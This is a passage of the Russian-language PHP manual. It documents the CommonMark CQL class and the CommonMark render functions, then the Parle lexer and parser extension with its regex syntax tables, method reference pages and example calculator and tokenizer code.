  • LineBreak
  • Code
  • HtmlInline
  • CustomInline
  • Emphasis
  • Strong
  • Link
  • Image
Типы могут использоваться как объединение, например, /children(BlockQuote|List) будет перемещаться к дочерним элементам узла, где типом является BlockQuote или List. Типы или объединения типов, также могут быть отменены. Например, /children(~BlockQuote) будет перемещаться к дочерним элементам узла, где тип не является BlockQuote, а /children(~BlockQuote|Paragraph) будет перемещаться к дочерним узлам, где тип не является BlockQuote или Paragraph.

Ограничения путей

CQL можно поручить создать цикл для перемещения к узлу определённого типа по определённому пути. Например, /firstChild(BlockQuote) перейдёт к первому дочернему узлу с типом BlockQuote. Обратите внимание, что как и другие циклы, для children и siblings, этот тип пути может сопровождаться только подзапросом.

Замечания по реализации

Хотя CQL реализован как часть модуля PHP CommonMark, он стоит отдельно от PHP и не использует виртуальную машину PHP или внутреннее представление значений.

Обзор классов

class CommonMark\CQL {
/* Конструктор */
public __construct(string $query)
/* Методы */
public __invoke(CommonMark\Node $root, callable $handler)
}

Содержание

  • CommonMark\CQL::__construct — Конструктор класса CQL
  • CommonMark\CQL::__invoke — Выполнение CQL

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса CQL

  • « CommonMark\CQL
  • CommonMark\CQL::__invoke »
  • PHP Manual
  • CommonMark\CQL
  • Конструктор класса CQL

CommonMark\CQL::__construct

(cmark >= 1.1.0)

CommonMark\CQL::__construct — Конструктор класса CQL

Описание

public CommonMark\CQL::__construct(string $query)

Список параметров

query

Строка CQL

User Contributed Notes

There are no user contributed notes for this page.


Выполнение CQL

  • « CommonMark\CQL::__construct
  • Функции CommonMark »
  • PHP Manual
  • CommonMark\CQL
  • Выполнение CQL

CommonMark\CQL::__invoke

(cmark >= 1.1.0)

CommonMark\CQL::__invoke — Выполнение CQL

Описание

public CommonMark\CQL::__invoke(CommonMark\Node $root, callable $handler)

Должен вызывать текущую функцию CQL в указанном root, выполняя указанный handler при входе в CommonMark\Node.

Список параметров

root

корневой узел дерева

handler

должен иметь прототип:

handler(CommonMark\Node $root, CommonMark\Node $entering): ?bool
  • Если handler ничего не возвращает (void) или возвращает null, CQL продолжит выполнение
  • Если обработчик вернёт истинное значение, CQL продолжит выполнение
  • Если обработчик возвращает ложное значение, CQL прекратит выполнение

User Contributed Notes

There are no user contributed notes for this page.


Функции CommonMark

Содержание

  • CommonMark\Parse — Разбор
  • CommonMark\Render — Отображение
  • CommonMark\Render\HTML — Отображение
  • CommonMark\Render\Latex — Отображение
  • CommonMark\Render\Man — Отображение
  • CommonMark\Render\XML — Отображение

User Contributed Notes

There are no user contributed notes for this page.


Разбор

  • « Функции CommonMark
  • CommonMark\Render »
  • PHP Manual
  • Функции CommonMark
  • Разбор

CommonMark\Parse

(cmark >= 1.0.0)

CommonMark\Parse — Разбор

Описание

CommonMark\Parse(string $content, int $options = ?): CommonMark\Node

Разбирает content

Список параметров

content

Строка markdown

options

Маска из:

CommonMark\Parser\Normal (int)
CommonMark\Parser\Normalize (int)
CommonMark\Parser\ValidateUTF8 (int)
CommonMark\Parser\Smart (int)

Возвращаемые значения

Вернёт корневой (root) узел CommonMark\Node

User Contributed Notes

There are no user contributed notes for this page.


Отображение

  • « CommonMark\Parse
  • CommonMark\Render\HTML »
  • PHP Manual
  • Функции CommonMark
  • Отображение

CommonMark\Render

(cmark >= 1.0.0)

CommonMark\Render — Отображение

Описание

CommonMark\Render(CommonMark\Node $node, int $options = ?, int $width = ?): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

node

options

Маска из:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отображение

  • « CommonMark\Render
  • CommonMark\Render\Latex »
  • PHP Manual
  • Функции CommonMark
  • Отображение

CommonMark\Render\HTML

(cmark >= 1.0.0)

CommonMark\Render\HTML — Отображение

Описание

CommonMark\Render\HTML(CommonMark\Node $node, int $options = ?): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

node

options

Маска из:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отображение

  • « CommonMark\Render\HTML
  • CommonMark\Render\Man »
  • PHP Manual
  • Функции CommonMark
  • Отображение

CommonMark\Render\Latex

(cmark >= 1.0.0)

CommonMark\Render\Latex — Отображение

Описание

CommonMark\Render\Latex(CommonMark\Node $node, int $options = ?, int $width = ?): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

node

options

Маска из:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отображение

  • « CommonMark\Render\Latex
  • CommonMark\Render\XML »
  • PHP Manual
  • Функции CommonMark
  • Отображение

CommonMark\Render\Man

(cmark >= 1.0.0)

CommonMark\Render\Man — Отображение

Описание

CommonMark\Render\Man(CommonMark\Node $node, int $options = ?, int $width = ?): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

node

options

Маска из:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)
width

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отображение

  • « CommonMark\Render\Man
  • Parle »
  • PHP Manual
  • Функции CommonMark
  • Отображение

CommonMark\Render\XML

(cmark >= 1.0.0)

CommonMark\Render\XML — Отображение

Описание

CommonMark\Render\XML(CommonMark\Node $node, int $options = ?): string

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

node

options

Маска из:

CommonMark\Render\Normal (int)
CommonMark\Render\SourcePos (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\Safe (int)
CommonMark\Render\NoBreaks (int)

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Разбор и лексирование

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • Предопределённые константы
  • Сопоставление с шаблоном — Сопоставление с шаблоном Parle
    • Представления символов
    • Классы символов
    • Классы символов Unicode
    • Чередование и повторение
    • Якоря
    • Группировка
  • Примеры
    • Примеры использования лексера
    • Пример использования парсера
  • Parle\Lexer — Класс Parle\Lexer
    • Parle\Lexer::advance — Обрабатывает следующее правило лексера
    • Parle\Lexer::build — Завершает набор правил лексера
    • Parle\Lexer::callout — Определяет callback-функцию токена
    • Parle\Lexer::consume — Передаёт данные на обработку
    • Parle\Lexer::dump — Выводит состояние устройства
    • Parle\Lexer::getToken — Получает текущий токен
    • Parle\Lexer::insertMacro — Вставляет макрос регулярного выражения
    • Parle\Lexer::push — Добавляет правило лексера
    • Parle\Lexer::reset — Сбрасывает лексер
  • Parle\RLexer — Класс Parle\RLexer
    • Parle\RLexer::advance — Обработка следующего правила лексера
    • Parle\RLexer::build — Завершает набор правил лексера
    • Parle\RLexer::callout — Определяет callback-функцию токена
    • Parle\RLexer::consume — Передаёт данные для обработки
    • Parle\RLexer::dump — Выгружает состояние устройства
    • Parle\RLexer::getToken — v
    • Parle\RLexer::insertMacro — Вставляет макрос регулярного выражения
    • Parle\RLexer::push — Добавляет правило лексера
    • Parle\RLexer::pushState — Продвигает новое начальное состояние
    • Parle\RLexer::reset — Сбрасывает лексер
  • Parle\Parser — Класс Parle\Parser
    • Parle\Parser::advance — Обрабатывает следующее правило парсера
    • Parle\Parser::build — Завершает грамматические правила
    • Parle\Parser::consume — Потребляет данные для обработки
    • Parle\Parser::dump — Выводит грамматику
    • Parle\Parser::errorInfo — Получает информацию об ошибке
    • Parle\Parser::left — Объявляет токен с левой ассоциативностью
    • Parle\Parser::nonassoc — Объявляет токен без ассоциативности
    • Parle\Parser::precedence — Объявляет правило приоритета
    • Parle\Parser::push — Добавляет грамматическое правило
    • Parle\Parser::reset — Сбрасывает состояние парсера
    • Parle\Parser::right — Объявляет токен с правой ассоциативностью
    • Parle\Parser::sigil — Извлекает часть совпадения по правилу
    • Parle\Parser::sigilCount — Получает количество элементов в совпадающем правиле
    • Parle\Parser::sigilName — Получает имя правила или токена
    • Parle\Parser::token — Объявляет токен
    • Parle\Parser::tokenId — Получает идентификатор токена
    • Parle\Parser::trace — Следит за работой парсера
    • Parle\Parser::validate — Проверяет входные данные
  • Parle\RParser — Класс Parle\RParser
    • Parle\RParser::advance — Обработка следующего правила парсера
    • Parle\RParser::build — Завершает грамматические правила
    • Parle\RParser::consume — Использовать данные для обработки
    • Parle\RParser::dump — Выводит грамматику
    • Parle\RParser::errorInfo — Получает информацию об ошибке
    • Parle\RParser::left — Объявляет токен с левой ассоциативностью
    • Parle\RParser::nonassoc — Объявляет токен без ассоциативности
    • Parle\RParser::precedence — Объявляет правило приоритета
    • Parle\RParser::push — Добавляет грамматическое правило
    • Parle\RParser::reset — Сбрасывает состояние парсера
    • Parle\RParser::right — Объявляет токен с правой ассоциативностью
    • Parle\RParser::sigil — Извлекает совпадающую часть по правилу
    • Parle\RParser::sigilCount — Получает количество элементов в совпадающем правиле
    • Parle\RParser::sigilName — Получает имя правила или токена
    • Parle\RParser::token — Объявляет токен
    • Parle\RParser::tokenId — Получает идентификатор токена
    • Parle\RParser::trace — Следит за работой парсера
    • Parle\RParser::validate — Проверяет входные данные
  • Parle\Stack — Класс Parle\Stack
    • Parle\Stack::pop — Извлекает предмет из стека
    • Parle\Stack::push — Помещает элемент в стек
  • Parle\Token — Класс Parle\Token
  • Parle\ErrorInfo — Класс Parle\ErrorInfo
  • Parle\LexerException — Класс Parle\LexerException
  • Parle\ParserException — Класс Parle\ParserException

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль parle предоставляет средства лексического анализа и синтаксического анализа общего назначения. Реализация основана на библиотеках » Бена Хансона и требует для работы компилятор с поддержкой » C++14. Лексический анализатор основан на сопоставлении регулярных выражений, синтаксический анализатор - LALR (1). Лексеры и парсеры генерируются на лету и могут использоваться сразу после их завершения. Parle занимается синтаксическим анализом и лексированием, соответствующее представление и обработка структур данных является задачей разработчика. Модуль пока не поддерживает сериализацию и генерацию кода.

Лексический анализ - это процесс разделения последовательности символов на список лексем. Список лексем можно затем использовать для синтаксического анализа с точки зрения формальной грамматики. Эти операции также известны как лексирование и синтаксический анализ. Эта документация не преследует цель предоставить исчерпывающую информацию о лексировании и синтаксическом анализе. Хорошая информация по этому поводу доступна на многочисленных ресурсах в сети. Включены несколько примеров использования, чтобы показать функциональность. Модуль полезен для программистов PHP, желающих изучить или использовать синтаксический анализ и лексирование. Состояния и анализ грамматики не нужно реализовывать вручную, эти сложные задачи решаются с помощью parle. Благодаря этому разработка может быть сосредоточена на решении актуальной проблемы.

Обычный вариант использования parle - это когда формат данных слишком сложен для обработки регулярным выражением, совпадающим с PCRE. При этом широкое практическое применение. Будь то конкретный формат данных, модификация поведения существующих функций, даже собственный язык программирования и т.д. Полезны вспомогательные методы, такие как Parle\Lexer::dump() для проверки сгенерированного состояния или Parle\Parser::dump() для проверки сгенерированной грамматики. Метод Parle\Parser::trace() также можно использовать для отслеживания операции синтаксического анализа.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Поддерживается PHP 7.4 или выше. Требуется компилятор с поддержкой C++14. Успешная сборка модуля была произведена по крайней мере с clang 5.0, GCC 5.0 и Visual Studio 2015.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/parle.

DLL для модуля PECL доступна по ссылке » http://windows.php.net/downloads/pecl/releases/parle/.

Доступные параметры
Опция | Описание
--enable-parle | Включить модуль parle.
--enable-parle-utf32 | Включить внутреннюю поддержку UTF-32. Доступно начиная с версии 0.7.2.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

Parle\INTERNAL_UTF32 bool
Определяет, скомпилирована ли внутренняя поддержка UTF-32. Доступно начиная с версии 0.7.2.

User Contributed Notes

There are no user contributed notes for this page.


Сопоставление с шаблоном Parle

Содержание

  • Представления символов
  • Классы символов
  • Классы символов Unicode
  • Чередование и повторение
  • Якоря
  • Группировка

Parle поддерживает сопоставление регулярных выражений аналогично flex. Также поддерживаются следующие наборы символов POSIX: [:alnum:], [:alpha:], [:blank:], [:cntrl:], [:digit:], [:graph:], [:lower:], [:print:], [:punct:], [:space:], [:upper:] и [:xdigit:].

Классы символов Unicode в настоящее время не включены по умолчанию, передайте --enable-parle-utf32, чтобы сделать их доступными. Конкретная кодировка может быть отображена с помощью правильно построенного регулярного выражения. Например, чтобы соответствовать символу евро, закодированному в UTF-8, можно использовать регулярное выражение [\xe2][\x82][\xac]. Шаблон для строки в кодировке UTF-8 может быть [ -\x7f]{+}[\x80-\xbf]{+}[\xc2-\xdf]{+}[\xe0-\xef]{+}[\xf0-\xff]+.

User Contributed Notes

There are no user contributed notes for this page.


Представления символов

Представления символов
Последовательность | Описание
\a | Символ оповещения, сигнал.
\b | Символ возврата "Backspace".
\e | Символ ESC, \x1b.
\n | Новая строка.
\r | Возврат каретки.
\f | Разрыв страницы, \x0c.
\t | Горизонтальная табуляция, \x09.
\v | Вертикальная табуляция, \x0b.
\oct | Символ, заданный трёхзначным восьмеричным кодом.
\xhex | Символ, заданный шестнадцатеричным кодом.
\cchar | Именованный управляющий символ.

User Contributed Notes

There are no user contributed notes for this page.


Классы символов

Классы символов
Последовательность | Описание
[...] | Одиночный символ, указанный или содержащийся в указанном диапазоне. Диапазоны можно комбинировать с операторами {+} и {-}. Например, [a-z]{+}[0-9] то же, что и [0-9a-z], а [a-z]{-}[aeiou] то же, что и [b-df-hj-np-tv-z].
[^...] | Одиночный символ не указан и не содержится в указанном диапазоне.
. | Любой символ, по умолчанию [^\n].
\d | Любая десятичная цифра, [0-9].
\D | Любой символ, кроме десятичной цифры, [^0-9].
\s | Любой пробельный символ, [ \t\n\r\f\v].
\S | Любой непробельный символ, [^ \t\n\r\f\v].
\w | Любой символ, образующий "слово", [a-zA-Z0-9_].
\W | Любой символ, не образующий "слово", [^a-zA-Z0-9_].

User Contributed Notes

There are no user contributed notes for this page.


Классы символов Unicode

Классы символов Unicode
Последовательность | Описание
\p{C} | Прочие.
\p{Cc} | Прочие, контрольные.
\p{Cf} | Прочие, форматирование.
\p{Co} | Прочие, для приватного использования.
\p{Cs} | Прочие, суррогаты.
\p{L} | Буквы.
\p{LC} | Буквы, регистр.
\p{Ll} | Буквы, в нижнем регистре.
\p{Lm} | Буквы, модификаторы.
\p{Lo} | Буквы, прочее.
\p{Lt} | Буквы, заглавные буквы.
\p{Lu} | Буквы, в верхнем регистре.
\p{M} | Отметки.
\p{Mc} | Отметки, двоеточия.
\p{Me} | Отметки, вложения.
\p{Mn} | Отметки, апострофы.
\p{N} | Числа.
\p{Nd} | Числа, десятичная цифра.
\p{Nl} | Числа, цифры обозначаемые буквами (римские).
\p{No} | Числа, прочие.
\p{P} | Знаки пунктуации.
\p{Pc} | Знаки пунктуации, соединители.
\p{Pd} | Знаки пунктуации, тире.
\p{Pe} | Знаки пунктуации, закрывающие скобки.
\p{Pf} | Знаки пунктуации, закрывающие кавычки.
\p{Pi} | Знаки пунктуации, открывающие кавычки.
\p{Po} | Знаки пунктуации, прочее.
\p{Ps} | Знаки пунктуации, открывающие скобки.
\p{S} | Символы.
\p{Sc} | Символы, валюты.
\p{Sk} | Символы, модификаторы.
\p{Sm} | Символы, математические.
\p{So} | Символы, прочие.
\p{Z} | Разделители.
\p{Zl} | Разделители, линия.
\p{Zp} | Разделители, параграф.
\p{Zs} | Разделители, пробел.

Эти классы символов доступны только в том случае, если во время компиляции была передана опция --enable-parle-utf32.

User Contributed Notes

There are no user contributed notes for this page.


Чередование и повторение

Чередование и повторение
Последовательность | Жадный квантификатор | Описание
...|... | - | Попробуйте чередовать дочерние шаблоны.
* | да | Совпадение 0 или более раз.
+ | да | Совпадение 1 или более раз.
? | да | Совпадение 0 или 1 раз.
{n} | нет | Совпадение ровно n раз.
{n,} | да | Совпадение не менее n раз.
{n,m} | да | Совпадение не менее n раз, но не более m раз.
*? | нет | Match 0 or more times.
+? | нет | Match 1 or more times.
?? | нет | Совпадение 0 или 1 раз.
{n,}? | нет | Совпадение не менее n раз.
{n,m}? | нет | Совпадение не менее n раз, но не более m раз.
{MACRO} | - | Включить макрос регулярного выражения в текущее регулярное выражение.

User Contributed Notes

There are no user contributed notes for this page.


Якоря

Якоря
Последовательность | Описание
^ | Начало строки или после новой строки.
$ | Конец строки или перед новой строкой.

User Contributed Notes

There are no user contributed notes for this page.


Группировка

Группировка
Последовательность | Описание
(...) Сгруппировать регулярное выражение, чтобы переопределить приоритет оператора по умолчанию.
(?r-s:pattern) Применить опцию r и опустите опцию s при интерпретации шаблона. Параметры могут быть нулём или более символов i, s или x.
Опции
Опция | Описание
i | Без учёта регистра.
-i | С учётом регистра..
s | Изменяет значение ".", чтобы соответствовать любому символу.
-s | изменяет значение ".", чтобы соответствовать любому символу кроме "\n".
x | Игнорирует комментарии и пробелы в шаблонах. Пробелы игнорируются, если они не экранированы обратной косой чертой, не содержатся в "" или не появляются внутри диапазона символов.
Эти параметры могут применяться глобально на уровне правил путём передачи комбинации битовых флагов в лексер.
(?# comment ) | Пропускает всё, что находится внутри (). Первый встреченный символ ) завершает шаблон. Комментарий не может содержать символ а ). Комментарий может занимать строки.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Примеры использования лексера
  • Пример использования парсера

User Contributed Notes

There are no user contributed notes for this page.


Примеры использования лексера

Пример #1 Токенизация списка целых чисел через запятую

<?php

use Parle\Token;
use Parle\Lexer;
use Parle\LexerException;

/* name => id */
$token = array(
"COMMA" => 1,
"CRLF" => 2,
"DECIMAL" => 3,
);
/* id => name */
$tokenIdToName = array_flip($token);

$lex = new Lexer;
$lex->push("[\x2c]", $token["COMMA"]);
$lex->push("[\r][\n]", $token["CRLF"]);
$lex->push("[\d]+", $token["DECIMAL"]);
$lex->build();

$in = "0,1,2\r\n3,42,5\r\n6,77,8\r\n";

$lex->consume($in);

do {
$lex->advance();
$tok = $lex->getToken();

if (Token::UNKNOWN == $tok->id) {
throw new LexerException("Неизвестный токен '{$tok->value}' по смещению {$lex->marker}.");
}

echo "ТОКЕН: ", $tokenIdToName[$tok->id], PHP_EOL;
} while (Token::EOI != $tok->id);

Пример #2 Токенизировать оператор присваивания

<?php

use Parle\{Token, Lexer};

$lex = new Lexer;

$lex->push("\$[a-zA-Z_][a-zA-Z0-9_]*", 1);
$lex->push("=", 2);
$lex->push("\d+", 3);
$lex->push(";", 4);

$lex->build();

$lex->consume('$x = 42; $y = 24;');

do {
$lex->advance();
$tok = $lex->getToken();
var_dump($tok);
} while (Token::EOI != $tok->id);

User Contributed Notes

There are no user contributed notes for this page.


Пример использования парсера

Пример #1 Простой калькулятор

<?php

use Parle\{Parser, ParserException, Lexer, Token};

$p = new Parser;
$p->token("INTEGER");
$p->left("'+' '-' '*' '/'");

$p->push("start", "exp");
$prod_add = $p->push("exp", "exp '+' exp");
$prod_sub = $p->push("exp", "exp '-' exp");
$prod_mul = $p->push("exp", "exp '*' exp");
$prod_div = $p->push("exp", "exp '/' exp");
$p->push("exp", "INTEGER"); /* Индекс производства не используется. */

$p->build();

$lex = new Lexer;
$lex->push("[+]", $p->tokenId("'+'"));
$lex->push("[-]", $p->tokenId("'-'"));
$lex->push("[*]", $p->tokenId("'*'"));
$lex->push("[/]", $p->tokenId("'/'"));
$lex->push("\\d+", $p->tokenId("INTEGER"));
$lex->push("\\s+", Token::SKIP);

$lex->build();

$exp = array(
"1 + 1",
"33 / 10",
"100 * 45",
"17 - 45",
);

foreach ($exp as $in) {
if (!$p->validate($in, $lex)) {
throw new ParserException("Не удалось проверить ввод");
}

$p->consume($in, $lex);

while (Parser::ACTION_ERROR != $p->action && Parser::ACTION_ACCEPT != $p->action) {
switch ($p->action) {
case Parser::ACTION_ERROR:
throw new ParserException("Parser error");
break;
case Parser::ACTION_SHIFT:
case Parser::ACTION_GOTO:
case Parser::ACTION_ACCEPT:
break;
case Parser::ACTION_REDUCE:
switch ($p->reduceId) {
case $prod_add:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l + $r = " . ($l + $r) . "\n";
break;
case $prod_sub:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l - $r = " . ($l - $r) . "\n";
break;
case $prod_mul:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l * $r = " . ($l * $r) . "\n";
break;
case $prod_div:
$l = $p->sigil(0);
$r = $p->sigil(2);
echo "$l / $r = " . ($l / $r) . "\n";
break;
}
break;
}
$p->advance();
}
}

Пример #2 Разобрать слова из предложения

<?php

use Parle\{Lexer, Token, Parser, ParserException};

$p = new Parser;
$p->token("WORD");
$p->push("START", "SENTENCE");
$p->push("SENTENCE", "WORDS");
$prod_word_0 = $p->push("WORDS", "WORDS WORD");
$prod_word_1 = $p->push("WORDS", "WORD");
$p->build();

$lex = new Lexer;
$lex->push("[^\s]{-}[\.,\:\;\?]+", $p->tokenId("WORD"));
$lex->push("[\s\.,\:\;\?]+", Token::SKIP);
$lex->build();

$in = "Dis-moi ou est ton papa?";
$p->consume($in, $lex);
do {
switch ($p->action) {
case Parser::ACTION_ERROR:
throw new ParserException("Error");
break;
case Parser::ACTION_SHIFT:
case Parser::ACTION_GOTO:
/* var_dump($p->trace());*/
break;
case Parser::ACTION_REDUCE:
$rid = $p->reduceId();
if ($rid == $prod_word_1) {
var_dump($p->sigil(0));
} if ($rid == $prod_word_0) {
var_dump($p->sigil(1));
}
break;
}
$p->advance();
} while (Parser::ACTION_ACCEPT != $p->action);

User Contributed Notes

Anonymous 07-May-2023 08:13
For example 1:

$p->left("'+' '-' '*' '/'");

should be

$p->left("'+' '-'");
$p->left("'*' '/'");

in order for operator precedence to be respected.
andres1gb at gmail dot com 27-Apr-2020 03:45
The second example (word count) calls a method reduceId(), instead of retrieving the value of the reduceId property.


Класс Parle\Lexer

(PECL parle >= 0.5.1)

Введение

Класс лексера с одним состоянием. Лексемы можно определять на лету. Если конкретный экземпляр лексера предназначен для работы с классом Parle\Parser, идентификаторы токенов должны быть взяты оттуда. В противном случае могут быть предоставлены произвольные идентификаторы токенов. Этот лексер может дать преимущество в производительности по сравнению с классом Parle\RLexer, если не требуется несколько состояний. Обратите внимание, что класс Parle\RParser несовместим с этим лексером.

Обзор классов

class Parle\Lexer {
/* Константы */
const int ICASE = 1;
const int DOT_NOT_LF = 2;
const int DOT_NOT_CRLF = 4;
const int SKIP_WS = 8;
const int MATCH_ZERO_LEN = 16;
/* Свойства */
public bool $bol = false;
public int $flags = 0;
public int $state = 0;
public int $marker = 0;
public int $cursor = 0;
/* Методы */
public advance(): void
public build(): void
public callout(int $id, callable $callback): void
public consume(string $data): void
public dump(): void
public getToken(): Parle\Token
public insertMacro(string $name, string $regex): void
public push(string $regex, int $id): void
public reset(int $pos): void
}

Предопределённые константы

Parle\Lexer::ICASE

Parle\Lexer::DOT_NOT_LF

Parle\Lexer::DOT_NOT_CRLF

Parle\Lexer::SKIP_WS

Parle\Lexer::MATCH_ZERO_LEN

Свойства

bol

Флаг начала ввода.

flags

Флаги лексера.

state

Текущее состояние лексера, доступно только для чтения.

marker

Позиция последнего совпадения токена, доступно только для чтения.

cursor

Текущее смещение ввода, доступно только для чтения.

Содержание

  • Parle\Lexer::advance — Обрабатывает следующее правило лексера
  • Parle\Lexer::build — Завершает набор правил лексера
  • Parle\Lexer::callout — Определяет callback-функцию токена
  • Parle\Lexer::consume — Передаёт данные на обработку
  • Parle\Lexer::dump — Выводит состояние устройства
  • Parle\Lexer::getToken — Получает текущий токен
  • Parle\Lexer::insertMacro — Вставляет макрос регулярного выражения
  • Parle\Lexer::push — Добавляет правило лексера
  • Parle\Lexer::reset — Сбрасывает лексер

User Contributed Notes

There are no user contributed notes for this page.


Обрабатывает следующее правило лексера

  • « Parle\Lexer
  • Parle\Lexer::build »
  • PHP Manual
  • Parle\Lexer
  • Обрабатывает следующее правило лексера

Parle\Lexer::advance

(PECL parle >= 0.5.1)

Parle\Lexer::advance — Обрабатывает следующее правило лексера

Описание

public Parle\Lexer::advance(): void

Обрабатывает следующее правило и подготавливает полученные данные токена.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Завершает набор правил лексера

  • « Parle\Lexer::advance
  • Parle\Lexer::callout »
  • PHP Manual
  • Parle\Lexer
  • Завершает набор правил лексера

Parle\Lexer::build

(PECL parle >= 0.5.1)

Parle\Lexer::build — Завершает набор правил лексера

Описание

public Parle\Lexer::build(): void

Правила, ранее добавленные с помощью Parle\Lexer::push(), завершаются. Этот вызов метода должен быть выполнен после того, как были применены все необходимые правила. Набор правил доступен только для чтения. Можно начинать лексирование.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Определяет callback-функцию токена

  • « Parle\Lexer::build
  • Parle\Lexer::consume »
  • PHP Manual
  • Parle\Lexer
  • Определяет callback-функцию токена

Parle\Lexer::callout

(PECL parle >= 0.7.2)

Parle\Lexer::callout — Определяет callback-функцию токена

Описание

public Parle\Lexer::callout(int $id, callable $callback): void

Определяет callback-функцию, которая будет вызываться, когда лексер встречает определённый токен.

Список параметров

id

Идентификатор токена.

callback

Callable для вызова. Вызываемый объект не получает аргументов, а его возвращаемое значение игнорируется.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Передаёт данные на обработку

  • « Parle\Lexer::callout
  • Parle\Lexer::dump »
  • PHP Manual
  • Parle\Lexer
  • Передаёт данные на обработку

Parle\Lexer::consume

(PECL parle >= 0.5.1)

Parle\Lexer::consume — Передаёт данные на обработку

Описание

public Parle\Lexer::consume(string $data): void

Обрабатывает данные для лексирования.

Список параметров

data

Данные для лексирования.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Выводит состояние устройства

  • « Parle\Lexer::consume
  • Parle\Lexer::getToken »
  • PHP Manual
  • Parle\Lexer
  • Выводит состояние устройства

Parle\Lexer::dump

(PECL parle >= 0.5.1)

Parle\Lexer::dump — Выводит состояние устройства

Описание

public Parle\Lexer::dump(): void

Выводит текущее состояние устройства в стандартный вывод.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получает текущий токен

  • « Parle\Lexer::dump
  • Parle\Lexer::insertMacro »
  • PHP Manual
  • Parle\Lexer
  • Получает текущий токен

Parle\Lexer::getToken

(PECL parle >= 0.5.1)

Parle\Lexer::getToken — Получает текущий токен

Описание

public Parle\Lexer::getToken(): Parle\Token

Получает текущий токен.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр Parle\Token.

User Contributed Notes

There are no user contributed notes for this page.


Вставляет макрос регулярного выражения

  • « Parle\Lexer::getToken
  • Parle\Lexer::push »
  • PHP Manual
  • Parle\Lexer
  • Вставляет макрос регулярного выражения

Parle\Lexer::insertMacro

(PECL parle >= 0.5.1)

Parle\Lexer::insertMacro — Вставляет макрос регулярного выражения

Описание

public Parle\Lexer::insertMacro(string $name, string $regex): void

Вставляет макрос регулярного выражения, который позже можно использовать как ярлык и включить в другие регулярные выражения.

Список параметров

name

Имя макроса.

regex

Регулярное выражение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет правило лексера

  • « Parle\Lexer::insertMacro
  • Parle\Lexer::reset »
  • PHP Manual
  • Parle\Lexer
  • Добавляет правило лексера

Parle\Lexer::push

(PECL parle >= 0.5.1)

Parle\Lexer::push — Добавляет правило лексера

Описание

public Parle\Lexer::push(string $regex, int $id): void

Выдвигает шаблон для распознавания лексемы.

Список параметров

regex

Регулярное выражение, используемое для сопоставления токенов.

id

Идентификатор токена. Если экземпляр лексера предназначен для автономного использования, может быть произвольным числом. Если экземпляр лексера будет передан синтаксическому анализатору, должен быть идентификатор, возвращаемый Parle\Parser::tokenid().

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает лексер

  • « Parle\Lexer::push
  • Parle\RLexer »
  • PHP Manual
  • Parle\Lexer
  • Сбрасывает лексер

Parle\Lexer::reset

(PECL parle >= 0.7.1)

Parle\Lexer::reset — Сбрасывает лексер

Описание

public Parle\Lexer::reset(int $pos): void

Сбрасывает лексер, опционально предоставляя желаемое смещение.

Список параметров

pos

Позиция для сброса.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\RLexer

(PECL parle >= 0.5.1)

Введение

Класс лексера с несколькими состояниями. Лексемы можно определять на лету. Если конкретный экземпляр лексера предназначен для работы с классом Parle\RParser, идентификаторы токенов должны быть взяты оттуда. В противном случае могут быть предоставлены произвольные идентификаторы токенов. Обратите внимание, что класс Parle\Parser несовместим с этим лексером.

Обзор классов

